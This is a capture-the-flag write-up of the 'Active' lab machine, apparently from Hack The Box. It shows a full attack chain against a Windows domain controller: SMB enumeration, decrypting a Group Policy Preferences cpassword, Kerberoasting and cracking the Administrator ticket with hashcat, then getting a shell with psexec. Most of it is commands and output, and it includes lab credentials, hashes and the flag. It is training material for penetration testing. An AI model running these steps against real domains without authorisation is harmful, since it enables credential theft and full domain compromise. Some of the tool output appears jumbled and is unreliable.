

Active_write-up

About Active

- Active is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.

Enumeration / Information gathering - as an outsider

Nmap enumeration

- Nmap initial scan

```
sudo nmap -sC -sV 10.10.10.100 -v -oN Active_nmap
```

```
PORT      STATE SERVICE          VERSION
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2024-05-26 02:02:52Z)
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp    open  ldap            Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  tcpwrapped
593/tcp    open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
49152/tcp  open  msrpc          Microsoft Windows RPC
49153/tcp  open  msrpc          Microsoft Windows RPC
49154/tcp  open  msrpc          Microsoft Windows RPC
49155/tcp  open  msrpc          Microsoft Windows RPC
49157/tcp  open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
49158/tcp  open  msrpc          Microsoft Windows RPC
49165/tcp  open  msrpc          Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

- > We see alot of ports open and we are most likely dealing with a domain controller.
- > We do see an smb share but nothing much is being showned. We can try and enumerate that more deeply using a combination of nmap scripts and manual techniques.
- > We also add the name active.htb to our host file:

```
10.10.10.100    active.htb
```

- Locating useful nmap scripts to scan

```
locate -r '\.nse$' | xargs grep categories | grep  
'default\|version\|safe' | grep smb
```

```
[*]$ locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|  
safe' | grep smb  
/usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse:categories = {"vuln", "s  
afe", "malware"}  
/usr/share/nmap/scripts/smb-enum-services.nse:categories = {"discovery", "intrus  
ive", "safe"}  
/usr/share/nmap/scripts/smb-ls.nse:categories = {"discovery", "safe"}  
/usr/share/nmap/scripts/smb-mbenum.nse:categories = {"discovery", "safe"}  
/usr/share/nmap/scripts/smb-os-discovery.nse:categories = {"default", "discover  
y", "safe"}  
/usr/share/nmap/scripts/smb-protocols.nse:categories = {"safe", "discovery"}  
/usr/share/nmap/scripts/smb-security-mode.nse:categories = {"default", "discove  
ry", "safe"}  
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse:categories = {"vuln", "safe"}  
/usr/share/nmap/scripts/smb2-capabilities.nse:categories = {"safe", "discovery"  
}  
/usr/share/nmap/scripts/smb2-security-mode.nse:categories = {"safe", "discovery  
", "default"}  
/usr/share/nmap/scripts/smb2-time.nse:categories = {"discovery", "safe", "defau  
lt"}  
/usr/share/nmap/scripts/smb2-vuln-uptime.nse:categories = {"vuln", "safe"}
```

-> We see that the `smb-enum-services.nse` seems to be a good script to use (enumerate services) so we will try with enumerating using safe scripts.

```
sudo nmap --script safe -p 445 10.10.10.100
```

```

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
|_unusual-port:
|_ WARNING: this script depends on Nmap's service/version detection (-sV)
|_ smb2-security-mode:
|_ 2:1:0:
|_ Message signing enabled and required
|_ smb-protocols:
|_ dialects:
|_ 2:0:2
|_ 2:1:0
|_ _ipidseq: Incremental!
|_ _fcrdns: FAIL (No A record)
|_ smb2-time:
|_ date: 2024-05-26T02:19:01
|_ start_date: 2024-05-26T01:34:25
|_ smb-mbenum:
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_ port-states:
|_ tcp:
|_ open: 445
|_ dns-blacklist:
|_ SPAM

```

-> We see that not much more has been obtained, so we will enumerate it manual.

SMB enumeration

- SMBClient listing shares with null session

```
smbclient -N -L //10.10.10.100
```

```

[★]$ smbclient -N -L //10.10.10.100
Anonymous login successful

ing to the Share

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC        Remote IPC
NETLOGON       Disk      Logon server share
Replication    Disk
SYSVOL         Disk      Logon server share
Users          Disk

```

-> We have access to some standard shares

- SMBMap to enumerate shares

```
smbmap -H 10.10.10.100
```

```

[★]$ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445      Name: 10-10-10-100.tpgi.com.au
Disk
----
ADMIN$      NO ACCESS    Printer Drivers
C$          NO ACCESS    INFREIGHT Samba
IPC$        NO ACCESS    BEVenv
NETLOGON    NO ACCESS    CheckIT
Replication NO ACCESS    IPC Service (BEV
SYSVOL      NO ACCESS
Users       NO ACCESS
Permissions Comment
-----
Remote Admin
Default share
Remote IPC
Logon server share
Logon server share
Logon server share

```

-> We have a share Replication that we can read.

- Confirmation with CrackMapExec

```

crackmapexec smb 10.10.10.100 --shares -u '' -p ''
or
netexec smb 10.10.10.100 --shares -u '' -p ''

```

```
[*]$ netexec smb 10.10.10.100 --shares -u '' -p ''
SMB      10.10.10.100    445     DC           [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC)
omain:active.htb) (signing:True) (SMBv1:False)
SMB      10.10.10.100    445     DC           [+] active.htb\:\
SMB      10.10.10.100    445     DC           [*] Enumerated shares
SMB      10.10.10.100    445     DC           Share          Permissions       Remark
SMB      10.10.10.100    445     DC           -----          -
ADMIN$                                Remote Admin
C$                                    Default share
IPC$                                  Remote IPC
NETLOGON                             Logon server share
Replication                          READ
SYSVOL                               Logon server share
Users
```

-> Now we can attempt to read the shares.

- Reading shares through smbmap

```
smbmap -R Replication -H 10.10.10.100
```

```

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
fr--r--r-- 23 Sat Jul 21 20:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Group Policy
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 USER → Now we can attempt to read the shares.

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
fr--r--r-- 119 Sat Jul 21 20:38:11 2018 GPE.INI

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Microsoft
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Preferences
fr--r--r-- 2788 Sat Jul 21 20:38:11 2018 Registry.pol

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Windows NT

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Groups

```

-> We see alot of info but what stood out is the Groups directory in

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences* which somehow isn't further enumerated.

-> We know that for a every new group policy (GPP), an .xml file created on the SYSVOL share. Given that replication is a backup/copy of the SYSVOL share, we should be able to find .xml files related to it that creates credentials.

- Looking into the folder manually

```
smbclient -N //10.10.10.100/Replication

cd active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups

ls
```

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
.                GPP_AUTO... 1      D      0   Sat Jul 21 20:37:44 2018
..               GPP_AUTO... 1      D      0   Sat Jul 21 20:37:44 2018
Groups.xml       GPP_AUTO... 1      A    533  Thu Jul 19 06:46:06 2018
```

-> We will download the file Groups.xml

```
get Groups.xml
```

-> Or we can download all the files via

```
recurse ON
```

```
prompt off
```

```
mget *
```

then examine each file.

- Examining the file

```
!cat groups.xml
```

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> !cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

-> We can see an user with SVC_TGS has changed his password stored in an encrypted format in cpassword, which we can decrypt as it is stored in an reversible format.

Exploitation / Lateral movement - GPP decrypt on cpassword

- Decrypting the cpassword using gpp-decrypt

```
gpp decrypt
edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5
aSVYdYw/NglVmQ
```

```
[*]$ gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

-> We obtained the credential: SVC_TGS:GPPstillStandingStrong2k18

Enumeration / Information Gathering - as SVC_TGS on the Domain

AD enumeration

- Enumerating the shares via authenticated user

```
smbmap -u svc_tgs -p 'GPPstillStandingStrong2k18' -H 10.10.10.100
```

```
[*]$ smbmap -u svc_tgs -p 'GPPstillStandingStrong2k18' -H 10.10.10.100
[+] IP: 10.10.10.100:445      Name: active.htb
Disk
----
ADMIN$ing Group          > 10.10.10.100      NO ACCESS      Remote Admin
C$<Groups c$>            > 10.10.10.100      NO ACCESS      Default share
IPC$<User c$>            > 10.10.10.100      NO ACCESS      Remote IPC
NETLOGON                 > 10.10.10.100      READ ONLY      Logon server share
Replication              > 10.10.10.100      READ ONLY
SYSVOL                   > 10.10.10.100      READ ONLY      Logon server share
Users                    > 10.10.10.100      READ ONLY
```

-> We see that there are a few more shares we can read so let's download the files from the users share and examine it.

```
smbclient -U active.htb\\svc_tgs%GPPstillStandingStrong2k18
//10.10.10.100/Users
```

```
recurse ON
```

```
prompt off
```

```
mget *
```

```
smb: \> recurse ON
smb: \> prompt off $>
smb: \> mget *
getting file \desktop.ini of size 174 as desktop.ini (2.5 KiloBytes/sec) (average 2.5 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED listing \Administrator\*
NT_STATUS_STOPPED_ON_SYMLINK listing \All Users\*
getting file \Default\NTUSER.DAT of size 262144 as Default/NTUSER.DAT (1391.3 KiloBytes/sec) (average 806.1 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG of size 1024 as Default/NTUSER.DAT.LOG (15.6 KiloBytes/sec) (average 673.7 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG1 of size 95232 as Default/NTUSER.DAT.LOG1 (958.8 KiloBytes/sec) (average 731.4 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG2 of size 0 as Default/NTUSER.DAT.LOG2 (0.0 KiloBytes/sec) (average 644.0 KiloBytes/sec)
getting file \Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf of size 65536 as Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf (771.1 KiloBytes/sec) (average 660.8 KiloBytes/sec)
```

-> We looked at the shares and there are nothing interesting from the shares, so we will look into other methods enumerating active directory such as looking at kerberoastable users.

- Listing SPN accounts with GetUsersSPNs.py

```
GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/svc_tgs
locate getuserspns
```

```
[*]$ GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/svc_tgs
Impacket v0.12.0.dev1+20240208.120203.63438ae - Copyright 2023 Fortra

Enumerating the shares via authenticated user
Password:
ServicePrincipalName Name MemberOf Password
dLastSet LastLogon Active Delegation
-----
active/CIFS:445 svc/spn Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 05:06:40.351723 2024-05-26 11:35:37.716557
```

-> We see that the Administrator user is Kerberoastable, so we can seek to exploit this.

Privilege Escalation - To Domain Admin of active.htb through Kerberoasting administrator account

- We Kerberoast the administrator user

```
GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/svc_tgs -request-user administrator
```



```
[*] CCache file is not found. Skipping...
$krb5tgs$23*$Administrator$ACTIVE.HTB$active.htb/Administrator*$29c045ea01baf2dae4a15c566825e2ee$366df10fb
31476b6b91596d5a22b21029261118e827f7eb13edce27ec250a249040616bfe6a64b0a4e94c5038d4a900872cb06bcef484970c3
e9b64c9395af5f5a84b34fbae4978c366bf2049424a91e4304547e97fe9e7e62cd7e3b51efd881fe057bc3fc9d3a0fd5498a2f99c8
c0168cd0ec3c2b5a533659dfbf31c887870783d352d86458b4fb7dada10464c4ae8bfa266b0552e13f0c8a36acc81380d4cfe99b64
47d15172a72ae06fb91ac1404c5bb0cef95d5aa35e9cbd5f9fd4a2d194245d29e3e56e7cd0afed54aa1b331e0d36932b25b833bb1c
afb49b012f97bd42d4abc58db8b28d0aaea5af011baac3d98c9caed721f5171d1083086f2642d863d300260e9304d9834bf1e5a090
5123ec887ef4a72aa0d27e4dd1bbfc41a8eb0f3ab66c61a42ec4371dea1f1b4c03b6fea3bf8be727e820f8c9a578a5f2ddf28a530e
ee65e0b0c213c945ef9422607232bdae9f8fd76ac103ae57fbfe88a83d8ecae6c7f578c6987d8b8da95b4f2a42c5e470cca6e2ecb6
0f122b7afb4e6e5a988f526c99bd7478b90e1e8a97f0895c289201caf040e01f7f07876f64737a1958a61a50f3f3151266b1a3d314
9fb3479a8a9bd139065196dafa33391c6fe54976d951777b72a15d194deb25294e6b38c6b96243c45fce2bf3dc053d33b082a396f9
190d65dca241606dbb81b2605d81ab2fed84fe54a358fb28e8fdab3c5c9a004127d1cf2ec530a778b04d8df0cd1b51e3d5d5b98be
89bb95fae620f6fb310cd4ad32a1ce38bf889f9d900d320d7dc301ea6da30b339ea62847e630b270d1948f41758ce9aac81f6f77f4
b4a55985936474bba32c5980fc8de5c5bdc819bdea8658bb2c024c7865120a6bb7b34a68f1e51ef24c66fb8e3bddc82047bf79c4c4
5eb17c37767cc22896e2c9eb2f5c1a4826f12586830f442371b10b182bb88863124063a0f74e5c7836a74cce2cd815419c3cffe87b
b58759baef16f8935eef42f7a9e9ee744408f2988f8858c3f744b60388797be0af1c857f55c07dbddd4a2517c7d5e34732d6e527f
3de99426addc9fffae42981b7cc23e308471e87a65b67165e8d3d033348152188e7db3bf826f844fea5e0f31ac739b08d1c2dda3ea
e54dc98fbd3bc9f95bf35dfa0efdd2484e6767a696bda6c1b7d2e643aac98177394f09a52dac7706292ae6958c029590193364314c
a535b39d71b09d4f88616946010b24e398eedc83d335ced0ce34c7e51f333a51650cc5778b2
```

- Cracking the hash

```
hashcat -m 13100 admin_tgs_hash /usr/share/wordlists/rockyou.txt
```

```
hashcat -m 13100 admin_tgs_hash /usr/share/wordlists/rockyou.txt --show
```

```
[*]$ hashcat -m 13100 admin_tgs_hash /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23*$Administrator$ACTIVE.HTB$active.htb/Administrator*$29c045ea01baf2dae4a15c566825e2ee$366df10fb
31476b6b91596d5a22b21029261118e827f7eb13edce27ec250a249040616bfe6a64b0a4e94c5038d4a900872cb06bcef484970c3
e9b64c9395af5f5a84b34fbae4978c366bf2049424a91e4304547e97fe9e7e62cd7e3b51efd881fe057bc3fc9d3a0fd5498a2f99c8
c0168cd0ec3c2b5a533659dfbf31c887870783d352d86458b4fb7dada10464c4ae8bfa266b0552e13f0c8a36acc81380d4cfe99b64
47d15172a72ae06fb91ac1404c5bb0cef95d5aa35e9cbd5f9fd4a2d194245d29e3e56e7cd0afed54aa1b331e0d36932b25b833bb1c
afb49b012f97bd42d4abc58db8b28d0aaea5af011baac3d98c9caed721f5171d1083086f2642d863d300260e9304d9834bf1e5a090
5123ec887ef4a72aa0d27e4dd1bbfc41a8eb0f3ab66c61a42ec4371dea1f1b4c03b6fea3bf8be727e820f8c9a578a5f2ddf28a530e
ee65e0b0c213c945ef9422607232bdae9f8fd76ac103ae57fbfe88a83d8ecae6c7f578c6987d8b8da95b4f2a42c5e470cca6e2ecb6
0f122b7afb4e6e5a988f526c99bd7478b90e1e8a97f0895c289201caf040e01f7f07876f64737a1958a61a50f3f3151266b1a3d314
9fb3479a8a9bd139065196dafa33391c6fe54976d951777b72a15d194deb25294e6b38c6b96243c45fce2bf3dc053d33b082a396f9
190d65dca241606dbb81b2605d81ab2fed84fe54a358fb28e8fdab3c5c9a004127d1cf2ec530a778b04d8df0cd1b51e3d5d5b98be
89bb95fae620f6fb310cd4ad32a1ce38bf889f9d900d320d7dc301ea6da30b339ea62847e630b270d1948f41758ce9aac81f6f77f4
b4a55985936474bba32c5980fc8de5c5bdc819bdea8658bb2c024c7865120a6bb7b34a68f1e51ef24c66fb8e3bddc82047bf79c4c4
5eb17c37767cc22896e2c9eb2f5c1a4826f12586830f442371b10b182bb88863124063a0f74e5c7836a74cce2cd815419c3cffe87b
b58759baef16f8935eef42f7a9e9ee744408f2988f8858c3f744b60388797be0af1c857f55c07dbddd4a2517c7d5e34732d6e527f
3de99426addc9fffae42981b7cc23e308471e87a65b67165e8d3d033348152188e7db3bf826f844fea5e0f31ac739b08d1c2dda3ea
e54dc98fbd3bc9f95bf35dfa0efdd2484e6767a696bda6c1b7d2e643aac98177394f09a52dac7706292ae6958c029590193364314c
a535b39d71b09d4f88616946010b24e398eedc83d335ced0ce34c7e51f333a51650cc5778b2:Ticketmaster1968
```

-> Obtained the administrator credential: administrator:Ticketmaster1968

- We can now psexec.py into the domain controller

```
psexec.py active.htb/administrator:'Ticketmaster1968'@10.10.10.100
```

```

[*]$ psexec.py active.htb/administrator:'Ticketmaster1968'@10.10.10.100
Impacket v0.12.0.dev1+20240208.120203.63438ae - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file ihlxlsoj.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service EWHu on 10.10.10.100.....
[*] Starting service EWHu.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\users\administrator\Desktop\root.txt
e4da5e72e270a9936e1f2b3655df5672

```

-> Where we get the flag accordingly.